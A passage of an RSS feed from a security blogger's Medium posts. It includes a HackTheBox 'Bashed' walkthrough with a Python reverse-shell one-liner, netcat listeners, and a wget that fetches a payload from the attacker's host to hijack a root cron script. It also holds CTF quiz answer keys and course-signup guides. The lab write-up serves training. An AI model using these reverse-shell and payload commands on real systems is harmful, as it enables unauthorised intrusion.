src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=914e0877f68d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox (HTB): Bashed — Walkthrough]]></title>
            <link>https://danishzia.medium.com/hackthebox-htb-bashed-walkthrough-ab402b9f4715?source=rss-6581b2bb934------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab402b9f4715</guid>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[bashed]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Danish Zia]]></dc:creator>
            <pubDate>Sun, 07 Jun 2020 12:41:53 GMT</pubDate>
            <atom:updated>2020-06-07T12:41:53.302Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox (HTB): Bashed — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*N_4DPlm8i2WhNgvThS5m7A.png" /><figcaption>Figure 1.1</figcaption></figure><p>Hi,</p><p>This article is about Bashed machine hosted on <a href="https://www.hackthebox.eu/"><strong><em>HTB</em></strong></a>. Let’s get started:</p><h4>Scanning:</h4><p>Scan machine with Nmap:</p><blockquote><strong>nmap -sC -sV 10.10.10.68</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*8RAhWDMzIaJmE3BpZxQnaw.png" /><figcaption>Figure 1.2</figcaption></figure><p>We found that there is Apache running on the machine let’s explore it from browser:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T5bW_y6KZcpzTfECyZaMjw.png" /><figcaption>Figure 1.3</figcaption></figure><p>Seems like this is the only page on the website. Let’s enumerate the server with directory buster tool to find either there are hidden web pages or not.</p><blockquote><strong>dirb </strong><a href="http://10.10.10.68/"><strong>http://10.10.10.68</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*boqDSZA8Mx3TzLsHExj4Yw.png" /><figcaption>Figure 1.4</figcaption></figure><p>We found different folders hosted on server. Ass we know css folder is commonly for css files hosted on server. Let’s Explore /dev/ folder from browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*eciLmBu3g9LSoICOBMVFsw.png" /><figcaption>Figure 1.5</figcaption></figure><p>Here we find <strong>phpbash</strong> web pages. Let’s Explore theses pages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fmsyNwqojN0O8k62SCGKxg.png" /><figcaption>Figure 1.6</figcaption></figure><p>These web pages are giving interface to communicate with the terminal of the server. This means that we can get reverse shell from this webpage by simply executing the script.</p><h4><strong>Gaining Access:</strong></h4><p>After searching I found python reverse shell script from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet"><em>Pentest Monkey</em></a>.</p><pre>python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.0.0.1&quot;,1234)); //Change IP and Port<br>os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&#39;</pre><p>Do not run this script blindly. Before running this script modify IP Address with your IP Address and if you like you can also enter your desired port. I have replaced 1234 port with 9999.</p><p>Before running above script make sure netcat listener is running on mentioned port.</p><blockquote><strong>nc -lnvp 9999</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*NCXosDJ0Hqg69bY7H90_DA.png" /><figcaption>Figure 1.7</figcaption></figure><p>Now run the above mention script on target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LKQc6WEqcC5zp2VjL0YYSA.png" /><figcaption>Figure 1.8</figcaption></figure><p>Once you run the script on the web page after a few seconds you will receive reverse connection on your netcat listener as shown in figure 1.9 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*DhqSqi84mY9KnfIeY_4KzQ.png" /><figcaption>Figure 1.9</figcaption></figure><p>Now after wondering around in directories I have finally found the user flag.</p><p>The flag is in<strong> /home/arrexel/ </strong>directory as shown in figure 1.11 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*wDB2HGafQPG-5HOW-xFRtQ.png" /><figcaption>Figure 1.10</figcaption></figure><p>Now to get root user flag we need to be on root user. In order to get to root user we need to escalate the privileges.</p><h4><strong>Privilege Escalation:</strong></h4><p>First we to get info of our current privileges and for that we will use command:</p><blockquote><strong>sudo -l</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*cjs0FlQoogiETORe4AZi_g.png" /><figcaption>Figure 1.11</figcaption></figure><p>This means the www-data user can run commands as scriptmanager user. Let’s try to access scriptmanager account shell from www-data with command given below:</p><blockquote><strong>sudo -u scriptmanager /bin/bash</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*kTdZwUk2snE8jFkRQv9oEA.png" /><figcaption>Figure 1.12</figcaption></figure><p>Use python script for TTY:</p><blockquote><strong>python -c ‘import pty; pty.spawn(“/bin/bash”);’</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*3cx_GeyvHeu5QpmVYsALAQ.png" /><figcaption>FIgure 1.13</figcaption></figure><p>Now we go to base directory and again start exploring to get any new info.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*0zFGnvRSJsNjc7Ph-js7dg.png" /><figcaption>Figure 1.14</figcaption></figure><p>Here we got interesting info. We got a suspicious folder named scripts. Let’s Explore this folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*uYJFt20yrjPKUEg4VfXjdQ.png" /><figcaption>Figure 1.15</figcaption></figure><p>In this folder we got these two files lets explore both of them:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*3mrl-SgmGa7Pif2UJIXVZg.png" /><figcaption>Figure 1.16</figcaption></figure><p>There is a simple script in <strong>‘test.py’</strong> which writes output on file <strong>‘test.txt’</strong>. One more interesting thing we got is that creation time of file test.txt is keep updating to the latest time. This mean there is a cron job or something like background process is running which runs test.py script automatically. If we replace the test.py file with our test.py file containing reverse shell code and check might we can get reverse shell of root user or not.</p><p>In order to do that create a HTTP Server using python from the directory where we have saved our reverse shell code.</p><p>In order to create a server using python command:</p><blockquote><strong>python -m SimpleHTTPServer 8000</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*mKrhuu-xLWv7QGmoc2kjbA.png" /><figcaption>Figure 1.17</figcaption></figure><p>Now on the other machine shell we will run wget command to download reverse shell code in the machine.</p><p>wget http://10.10.14.7:8000/test.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*1oIAXlmTjsgP3YEoO3DKZA.png" /><figcaption>Figure 1.18</figcaption></figure><p>Our file is downloaded with the name of test.py.1, now I removed test.py file and changed the name of test.py.1 file to test.py so machine will run only that file which we want to execute for reverse shell. Code for reverse shell is same as I used at the start of this write-up.</p><p>Now turn on your netcat listener and wait a minute to get executeed that test.py file to get reverse shell.</p><blockquote><strong>nc -nvlp 8888</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*nmewDs4ziavdHBDS8Sfukw.png" /><figcaption>Figure 1.19</figcaption></figure><p>After a minute you should receive a reverse shell with root account on this listener as shown in figure 1.20 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*T8hE4ZruJIeft11yjM04-Q.png" /><figcaption>Figure 1.20</figcaption></figure><p>Here we go we have got root privileges and now go to root directory and get root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*hBc9IIM6agAL2LURajo0yA.png" /><figcaption>Figure 1.21</figcaption></figure><p>Here we have successfully completed this challenge. Thanks for staying till here.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab402b9f4715" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Microsoft, DataCamp and Pluralsight Collaboration for free Education]]></title>
            <link>https://danishzia.medium.com/microsoft-datacamp-and-pluralsight-collaboration-for-free-education-dd8a6a1e4b9e?source=rss-6581b2bb934------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd8a6a1e4b9e</guid>
            <category><![CDATA[free]]></category>
            <category><![CDATA[datacamp]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[pluralsight]]></category>
            <category><![CDATA[visual-studio]]></category>
            <dc:creator><![CDATA[Danish Zia]]></dc:creator>
            <pubDate>Sat, 02 May 2020 10:39:59 GMT</pubDate>
            <atom:updated>2020-05-02T10:39:59.190Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cjQrDTUgK19iGg4AIj3Iqw.png" /><figcaption>Figure 1.1</figcaption></figure><p>Hi,</p><p>I this article I will guide you about getting free access of Pluralsight, DataCamp, Code Magazine, Syncfusion, Azure and other services. I will emphasize on Pluralsight and Datacamp but you can check other services also available if you need them.</p><p>In order to get free access go to <a href="https://my.visualstudio.com/"><strong>Visual Studio</strong></a> website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wx9TCTbWZFpsGZtmdpxGEg.png" /><figcaption>Figure 1.2</figcaption></figure><p>I will ask you for login I you have already Microsoft (hotmail, outlook or live) account just sign in or Create a new one.</p><p>Once you have created your account login and you will see home screen as shown in figure 1.3 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uSuVaN44Yl9ccltzqbqb9w.png" /><figcaption>Figure 1.3</figcaption></figure><p>As you are watching that different organizations are giving different types of services for free under their collaboration with Microsoft.</p><p>Here I am going to mention process for Pluralsight first them DataCamp.</p><h4>Pluralsight:</h4><p>Click on Activate Button sign up form will appear in front of you as shown in figure 1.4 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zW0T77v1YvGHFRbuxXv1Xg.png" /><figcaption>Figure 1.4</figcaption></figure><p>Fill the form with correct information and then check the check box and click on activate button as shown in figure 1.5 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UsLqhGGYGqGVtS5Qd2GVow.png" /><figcaption>Figure 1.5</figcaption></figure><p>Then you will see thankyou webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*1KxTPGZSqA0hBOx5qTVmCw.png" /><figcaption>Figure 1.6</figcaption></figure><p>Now check your email and if you didn’t get email wait for it and then Enjoy and Happy Learning.</p><p>Thanks for staying till here.</p><p>If you like this article, please support on <a href="https://www.patreon.com/DanishZia"><strong><em>Patreon</em></strong></a>.</p><h4>DataCamp:</h4><p>Click on Activate Button sign up form will appear in front of you as shown in figure 1.7 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AuWnNCqYYhhF1E0iJRUWZA.png" /><figcaption>Figure 1.7</figcaption></figure><p>Here you have multiple options for sign-up. You can sign -up with Linkedin, Facebook, Google or fill out form with your company’s email address as you like. Once you creat your account DataCamp will ask to complete your profile ash shown in figure 1.8 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*qEdveHyaejQTu9Y3PGlTWw.png" /><figcaption>Figure 1.8</figcaption></figure><p>Complete the form with your correct information and click on continue button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DtYBA6WHLYcwQ_cvkG9SCA.png" /><figcaption>Figure 1.9</figcaption></figure><p>Here you go you have successfully activated your datacamp subscription. Enjoy and Happy Learning.</p><p>Thanks for staying till here.</p><p>If you like this article, please support on <a href="https://www.patreon.com/DanishZia"><strong><em>Patreon</em></strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd8a6a1e4b9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberTalents: General Information — Write-Up]]></title>
            <link>https://danishzia.medium.com/cybertalents-general-information-write-up-a092b3c3b6d8?source=rss-6581b2bb934------2</link>
            <guid isPermaLink="false">https://medium.com/p/a092b3c3b6d8</guid>
            <category><![CDATA[cyber-talents]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[articles]]></category>
            <category><![CDATA[general-information]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Danish Zia]]></dc:creator>
            <pubDate>Tue, 28 Apr 2020 17:25:55 GMT</pubDate>
            <atom:updated>2020-04-28T17:25:55.603Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberTalents: General Information — Write-Up</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*Fx9wsdgYf1sTpmk5Jn3QWw.png" /><figcaption>Figure 1.1</figcaption></figure><p>Hi,</p><p>In this article we are going to answer <a href="https://cybertalents.com/challenges/general-information"><strong><em>General Information</em></strong></a> questions posted on <a href="https://cybertalents.com/"><strong><em>CyberTalents</em></strong></a>. Let’s get started,</p><h4>Business Gathering</h4><p>I am a huge cyber security conference that run every year in three places : San Francisco, Singapore and Lately Abu Dhabi. Who am I?</p><blockquote><strong>RSA Conference</strong></blockquote><h4>Hackers Gathering:</h4><p>I am a cyber security conference that run in August every year in Las Vegas. I am the largest gathering for Hackers in the whole world. No Credit cards, no online booking , Only Cash allowed . Who am I?</p><blockquote><strong>Defcon</strong></blockquote><h4>Founder</h4><p>I have founded two of the most famous Cyber Security conferences across the globe in Las Vegas, USA. I am not The Dark Knight. I am The DarK — — — — ?</p><blockquote><strong>Tangent</strong></blockquote><h4>Back to History</h4><p>am the First Computer Virus ever known . You will find me in your head . My name is ……..?</p><blockquote><strong>Brain</strong></blockquote><h4>Contribute</h4><p>I am an Organization that releases the Top 10 Vulnerabilities in Application Security . I am ……?</p><blockquote><strong>OWASP</strong></blockquote><h4>Greeks</h4><p>The art of hiding messages or information inside other image / text or data</p><blockquote><strong>Steganography</strong></blockquote><h4>Robot</h4><p>A group or network of machines that are controlled by an attacker to do a certain task</p><blockquote><strong>Bot</strong></blockquote><h4>Japanese Warrior</h4><p>I am a linux distrubition with two versions one for Web Penetration Testing and the other for attacking smart grids. What is my smart grid distribution name ?</p><blockquote><strong>SamuraiSTFU</strong></blockquote><h4>Close Look</h4><p>I am a linux distribution that has many tricks to do packet and traffic analysis. Who am I?</p><blockquote><strong>Packetrix</strong></blockquote><h4>Pay Me</h4><p>I will lock your machine screen or files till you pay me. Who am i?</p><blockquote><strong>Ransomware</strong></blockquote><h4>TrendMicro Conference</h4><p>Periodic Conference in many cities hosted by Trend Micro</p><blockquote><strong>CloudSec</strong></blockquote><h4>Intercept</h4><p>the attacker intercept information between receiver and sender. what is the attack name?</p><blockquote><strong>MITM</strong></blockquote><h4>Modify Code</h4><p>Change code from one form to another to prevent attacker from understanding it</p><blockquote><strong>Obfuscation</strong></blockquote><h4>My box</h4><p>I am a professional pen tester. I do not need to know any information from the customer, I do ….box pen test</p><blockquote><strong>Black</strong></blockquote><h4>Crash</h4><p>Enter a lot of random trash till the application crash</p><blockquote><strong>Fuzzing</strong></blockquote><h4>Scan</h4><p>One of the famous, free port scanner. Who am i ?</p><blockquote><strong>Nmap</strong></blockquote><h4>Capture</h4><p>Network analysis tool used to captured packets and present it in readable format</p><blockquote><strong>Wireshark</strong></blockquote><h4>Precious Vulnerability</h4><p>a security flaw that is not yet known</p><blockquote><strong>Zeroday</strong></blockquote><h4>SCADA</h4><p>A worm that targeted SCADA Systems</p><blockquote><strong>Stuxnet</strong></blockquote><h4>Cash</h4><p>I am a type of attacks that used to spread malware. I push data in the cache records of your DNS. I am cache ……..?</p><blockquote><strong>Poisoning</strong></blockquote><h4>User Name</h4><p>He is a user name or account that by default has access to all commands and files on a Linux or other Unix-like operating system.</p><blockquote><strong>Root</strong></blockquote><p>Thanks for staying till here.</p><p>If you like this article, please support on <a href="https://www.patreon.com/DanishZia"><strong><em>Patreon</em></strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a092b3c3b6d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting Up Seed Ubuntu on VirtualBox]]></title>
            <link>https://danishzia.medium.com/setting-up-seed-ubuntu-on-virtualbox-50f97de7ea18?source=rss-6581b2bb934------2</link>
            <guid isPermaLink="false">https://medium.com/p/50f97de7ea18</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[how-to]]></category>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[articles]]></category>
            <dc:creator><![CDATA[Danish Zia]]></dc:creator>
            <pubDate>Fri, 24 Apr 2020 20:05:11 GMT</pubDate>
            <atom:updated>2020-04-24T20:05:11.920Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*x-hCeRz0YH-Yn0z8mD7ljA.jpeg" /><figcaption>Figure 1.1</figcaption></figure><p>Hi,</p><p>In this article we are going to set-up <a href="https://seedsecuritylabs.org/"><strong><em>Seed</em></strong></a> Ubuntu VM on VirtualBox.</p><p>Before starting make sure your machine is comfortable with mentioned minimum requirements.</p><p>Memory(RAM): 1024 MB RAM</p><p>Disk Space: 80 GB</p><p>First of all download the Seed Ubuntu from given <a href="https://seedsecuritylabs.org/lab_env.html"><strong>Link</strong></a>.</p><p>Once downloaded extract the compressed file.</p><p>Open the VirtualBox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*spE0l9vNi16LlauN79pLGQ.png" /><figcaption>Figure 1.2</figcaption></figure><p>Click on New button as shown in figure 1.3 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*tzIkn5JXdhSjRGuAuORuRA.png" /><figcaption>Figure 1.3</figcaption></figure><p>A window asking about path will open as shown in figure 1.4 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*m30zA0xybaej2w4Fu_Rn-Q.png" /><figcaption>Figure 1.4</figcaption></figure><p>Set the following setting:<br>Name: Seed Ubuntu (Or whatever you like)<br>Type: Linux<br>Version: Ubuntu (32-Bit)<br>Shown in figure 1.5 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*3Ps_WdYOxTo0quo224J9fw.png" /><figcaption>Figure 1.5</figcaption></figure><p>A new window will appear asking about Memory Size(RAM). Minimum requirement for virtual machine is 1024 MB, maximum you can give as much as memory meter stays in green as shown in figure 1.6 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*20ZwAv7NCkklW1CLuXPVOA.png" /><figcaption>Figure 1.6</figcaption></figure><p>Click on next button and select “Use an existing virtual hard disk file” in new opened window as shown in figure 1.7 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*A9FRwPlj2H0YScUoT3tTog.png" /><figcaption>Figure 1.7</figcaption></figure><p>Now click on folder button and a new window will appear as shown in figure 1.8 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*9sfm90IyGHqwCliLfiQW6w.png" /><figcaption>Figure 1.8</figcaption></figure><p>Click on add button as shown in figure 1.9 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*LEC87JY1zu14b8E7fpJYVA.png" /><figcaption>Figure 1.9</figcaption></figure><p>Another window will open asking about .vmdk file path. Navigate to the path where you saved SEED Ubuntu folder and from Seed Ubuntu folder select highlighted file as shown in figure 1.10 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*83wG3ySkuqKnMIulFw4rtQ.png" /><figcaption>Figure 1.10</figcaption></figure><p>Click on Open from above window and then click on choose in figure 1.11 given below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*8dD0US6WY5SinK6aMUaLjA.png" /><figcaption>Figure 1.11</figcaption></figure><p>After choosing your virtual hard disk file click on “Create” button as shown in figure 1.12 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*I8kCZbKUiWJ-AL5PLwySpA.png" /><figcaption>Figure 1.12</figcaption></figure><p>Once you click on create button you will see that your machine has been created and ready to use as show in figure 1.13 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*HwYfJRebEsObTOntyoBCpQ.png" /><figcaption>Figure 1.13</figcaption></figure><p>Now either double click on Seed Ubuntu machine or just select machine with single click and click on green arrow start button. Once your machine start you will see another window opened as shown in figure 1.14 below:</p><p>Note: Virtual machine might take a while to run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*TiQv7NYIe6E8oRynG1xtRg.png" /><figcaption>Figure 1.14</figcaption></figure><p>Background of your machine will be default ubuntu background. This background picture is of Gordon Dam of Australia. Now you can start work working on your Seed Ubuntu machine.</p><p>Thanks for staying till here.</p><p>If you like this article, please support on <a href="https://www.patreon.com/DanishZia"><strong><em>Patreon</em></strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50f97de7ea18" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Pentest Quiz — Write-Up]]></title>
            <link>https://danishzia.medium.com/tryhackme-pentest-quiz-write-up-b3f07e6a8098?source=rss-6581b2bb934------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3f07e6a8098</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[articles]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Danish Zia]]></dc:creator>
            <pubDate>Sun, 19 Apr 2020 19:01:01 GMT</pubDate>
            <atom:updated>2020-04-19T19:01:01.066Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Pentest Quiz — Write-Up</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*1xQIcXZHHUFPXCi2sCkjfA.png" /><figcaption>Figure 1.1</figcaption></figure><p>Hi,</p><p>This article is about <a href="https://tryhackme.com/room/pentestquiz"><strong><em>Pentest Quiz</em></strong></a> room created by <a href="https://tryhackme.com/p/w4tchd0g"><strong><em>W4tchd0g</em></strong></a> on <a href="https://tryhackme.com/"><strong><em>TryHackMe</em></strong></a>. It is free room and everyone can join it.</p><p>Description: Series of quick General Knowledge questions to check how good your memory is!</p><p>This room is a good theoretical refresher of the some penetration testing related questions.Let’s get started,</p><blockquote><strong>1. Famous port scanner. Can you name it?</strong></blockquote><p><strong>Answer:</strong> NMAP</p><blockquote><strong>2. Famous network packet analyzer. Can you name it?</strong></blockquote><p><strong>Answer: </strong>WIRESHARK</p><blockquote><strong>3. Best place to find public exploits?</strong></blockquote><p><strong>Answer: </strong>EXPLOIT-DB</p><blockquote><strong>4. Best place to find google dorks?</strong></blockquote><p><strong>Answer: </strong>GHDB</p><blockquote><strong>5. Entering enough data to make the application crash!</strong></blockquote><p><strong>Answer: </strong>BUFFER OVERFLOW</p><blockquote><strong>6. I am a security bug but not known to anyone yet?</strong></blockquote><p><strong>Answer: </strong>0DAY</p><blockquote><strong>7. “Your system has been locked, Pay me the money!”</strong></blockquote><p><strong>Answer: </strong>RANSOMWARE</p><blockquote><strong>8. Group of compromised machines connected to a C&amp;C server!</strong></blockquote><p><strong>Answer: </strong>BOTNET</p><blockquote><strong>9. Name the organization that releases TOP 10 Web and Mobile vulnerabilities?</strong></blockquote><p><strong>Answer: </strong>OWASP</p><blockquote><strong>10. Name the famous worm which targeted SCADA environments?</strong></blockquote><p><strong>Answer: </strong>STUXNET</p><blockquote><strong>11. Art of hiding information in other files!</strong></blockquote><p><strong>Answer: </strong>STEGANOGRAPHY</p><blockquote><strong>12. Converting readable data into unreadable format!</strong></blockquote><p><strong>Answer: </strong>ENCRYPTION</p><blockquote><strong>13. Name the tool used for reading metadata of images!</strong></blockquote><p><strong>Answer: </strong>EXIFTOOL</p><blockquote><strong>14. Famous Web Application Proxy Tool?</strong></blockquote><p><strong>Answer: </strong>BURPSUITE</p><blockquote><strong>15. NSA Reverse Engineering Tool?</strong></blockquote><p><strong>Answer: </strong>GHIDRA</p><blockquote><strong>16. Famous Open Source Web Application Proxy Tool?</strong></blockquote><p><strong>Answer: </strong>OWASP ZAP</p><p>Hurrah! We have completed this Pentest Quiz Challenge. Thanks for staying till here.</p><p>If you like this article, please support on <a href="https://www.patreon.com/DanishZia"><strong><em>Patreon</em></strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3f07e6a8098" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AWS Free Courses!]]></title>
            <link>https://danishzia.medium.com/aws-free-courses-6b21b0ee079a?source=rss-6581b2bb934------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b21b0ee079a</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[training-courses]]></category>
            <category><![CDATA[free]]></category>
            <category><![CDATA[article-50]]></category>
            <category><![CDATA[aws-training]]></category>
            <dc:creator><![CDATA[Danish Zia]]></dc:creator>
            <pubDate>Sun, 19 Apr 2020 06:32:43 GMT</pubDate>
            <atom:updated>2020-04-19T06:32:43.498Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PwdXGkKxWGWxvsHfk8Ypwg.png" /><figcaption>Figure 1.1</figcaption></figure><p>Hi,</p><p>There are plenty of free courses offered by AWS, but we do not know form where we can access them. This article is about getting those free courses. Let’s get started,</p><p>Go to aws.training website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3EKcY0OSi3TqpZJqViPyGg.png" /><figcaption>Figure 1.2</figcaption></figure><p>Go to Sign In and if you have no account on amazon like me select “All Regions” and then Sign-In:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7J3kXj8zKheJ9G9pjXF_ZA.png" /><figcaption>Figure 1.3</figcaption></figure><p>A new page will load:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ADxDAa0J0lojUAu5dOlzw.png" /><figcaption>Figure 1.4</figcaption></figure><p>If you already have an account you can just simply sign in otherwise go to “Create your Amazon Account”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*36k-7W-jleAmC3f4giJwiQ.png" /><figcaption>Figure 1.5</figcaption></figure><p>Fill the above form and create your account.</p><p>Once you have created your account now sign in to the AWS.</p><p>Once your logged in Go to learning Library shown in figure 1.6 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uht3sGfTSw2WOEoFfGvBvQ.png" /><figcaption>Figure 1.6</figcaption></figure><p>In Learning Library apply those filters of language to “English” or language you like and Free Digital Training as shown in figure 1.7 below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RbfsH5vzxqcFU6DkGNTL1g.png" /><figcaption>Figure 1.7</figcaption></figure><p>Once you complete the course you can download your course certificate from that Courses tab shown in figure 1.6:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*0bD2ODqaAdXAg3723npjAQ.png" /><figcaption>Figure 1.8</figcaption></figure><p>Thank me Later.</p><p>If you like this article, please support on <a href="https://www.patreon.com/DanishZia"><strong><em>Patreon</em></strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b21b0ee079a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>